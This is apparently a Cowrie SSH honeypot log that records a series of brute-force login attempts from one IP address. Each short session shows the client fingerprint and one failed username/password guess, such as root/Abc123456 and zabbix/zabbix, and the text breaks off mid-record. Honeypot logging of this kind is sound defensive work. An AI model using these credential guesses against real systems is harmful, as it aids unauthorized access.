{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":51644,"dst_ip":"10.17.0.5","dst_port":22,"session":"c91e2dea11bd","protocol":"ssh","message":"New connection: 45.156.87.253:51644 (10.17.0.5:22) [session: c91e2dea11bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:24:39.616364Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:24:39.736120Z","src_ip":"45.156.87.253","session":"c91e2dea11bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:24:39.738941Z","src_ip":"45.156.87.253","session":"c91e2dea11bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"a","password":"a","message":"login attempt [a/a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:24:40.125929Z","src_ip":"45.156.87.253","session":"c91e2dea11bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:24:41.209170Z","src_ip":"45.156.87.253","session":"c91e2dea11bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":51656,"dst_ip":"10.17.0.5","dst_port":22,"session":"7d080264d524","protocol":"ssh","message":"New connection: 45.156.87.253:51656 (10.17.0.5:22) [session: 7d080264d524]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:24:43.194550Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:24:43.198226Z","src_ip":"45.156.87.253","session":"7d080264d524","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:24:43.279181Z","src_ip":"45.156.87.253","session":"7d080264d524","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test1","password":"123456789","message":"login attempt [test1/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:24:43.523765Z","src_ip":"45.156.87.253","session":"7d080264d524","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:24:44.608229Z","src_ip":"45.156.87.253","session":"7d080264d524","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":51676,"dst_ip":"10.17.0.5","dst_port":22,"session":"93f3ca7d8cde","protocol":"ssh","message":"New connection: 45.156.87.253:51676 (10.17.0.5:22) [session: 93f3ca7d8cde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:24:46.545940Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:24:46.549456Z","src_ip":"45.156.87.253","session":"93f3ca7d8cde","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:24:46.632094Z","src_ip":"45.156.87.253","session":"93f3ca7d8cde","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devops","password":"12345","message":"login attempt [devops/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:24:46.875793Z","src_ip":"45.156.87.253","session":"93f3ca7d8cde","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:24:47.960337Z","src_ip":"45.156.87.253","session":"93f3ca7d8cde","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":50934,"dst_ip":"10.17.0.5","dst_port":22,"session":"c8c14027422f","protocol":"ssh","message":"New connection: 45.156.87.253:50934 (10.17.0.5:22) [session: c8c14027422f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:24:49.903170Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:24:49.960494Z","src_ip":"45.156.87.253","session":"c8c14027422f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:24:50.004678Z","src_ip":"45.156.87.253","session":"c8c14027422f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sysupdate","password":"Password1","message":"login attempt [sysupdate/Password1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:24:50.305215Z","src_ip":"45.156.87.253","session":"c8c14027422f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:24:51.388441Z","src_ip":"45.156.87.253","session":"c8c14027422f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":50946,"dst_ip":"10.17.0.5","dst_port":22,"session":"e72d96846c18","protocol":"ssh","message":"New connection: 45.156.87.253:50946 (10.17.0.5:22) [session: e72d96846c18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:24:53.358194Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:24:53.363121Z","src_ip":"45.156.87.253","session":"e72d96846c18","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:24:53.443865Z","src_ip":"45.156.87.253","session":"e72d96846c18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc123456","message":"login attempt [root/Abc123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:24:53.687742Z","src_ip":"45.156.87.253","session":"e72d96846c18","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:24:54.848560Z","src_ip":"45.156.87.253","session":"e72d96846c18","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":50970,"dst_ip":"10.17.0.5","dst_port":22,"session":"6905138efa78","protocol":"ssh","message":"New connection: 45.156.87.253:50970 (10.17.0.5:22) [session: 6905138efa78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:24:56.706001Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:24:56.708901Z","src_ip":"45.156.87.253","session":"6905138efa78","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:24:56.788968Z","src_ip":"45.156.87.253","session":"6905138efa78","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"1234","message":"login attempt [deploy/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:24:57.031619Z","src_ip":"45.156.87.253","session":"6905138efa78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:24:58.115210Z","src_ip":"45.156.87.253","session":"6905138efa78","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":52170,"dst_ip":"10.17.0.5","dst_port":22,"session":"d5d73ab9fa7d","protocol":"ssh","message":"New connection: 45.156.87.253:52170 (10.17.0.5:22) [session: d5d73ab9fa7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:25:00.157116Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:25:00.159650Z","src_ip":"45.156.87.253","session":"d5d73ab9fa7d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:25:00.242364Z","src_ip":"45.156.87.253","session":"d5d73ab9fa7d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qq123456","message":"login attempt [root/Qq123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:25:00.485514Z","src_ip":"45.156.87.253","session":"d5d73ab9fa7d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:25:01.568537Z","src_ip":"45.156.87.253","session":"d5d73ab9fa7d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":52178,"dst_ip":"10.17.0.5","dst_port":22,"session":"60b17a374347","protocol":"ssh","message":"New connection: 45.156.87.253:52178 (10.17.0.5:22) [session: 60b17a374347]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:25:03.492512Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:25:03.498637Z","src_ip":"45.156.87.253","session":"60b17a374347","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:25:03.580214Z","src_ip":"45.156.87.253","session":"60b17a374347","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zabbix","password":"zabbix","message":"login attempt [zabbix/zabbix] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:25:03.831532Z","src_ip":"45.156.87.253","session":"60b17a374347","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:25:05.000126Z","src_ip":"45.156.87.253","session":"60b17a374347","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":52188,"dst_ip":"10.17.0.5","dst_port":22,"session":"077c4cbf4e69","protocol":"ssh","message":"New connection: 45.156.87.253:52188 (10.17.0.5:22) [session: 077c4cbf4e69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:25:06.882752Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:25:06.886564Z","src_ip":"45.156.87.253","session":"077c4cbf4e69","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@open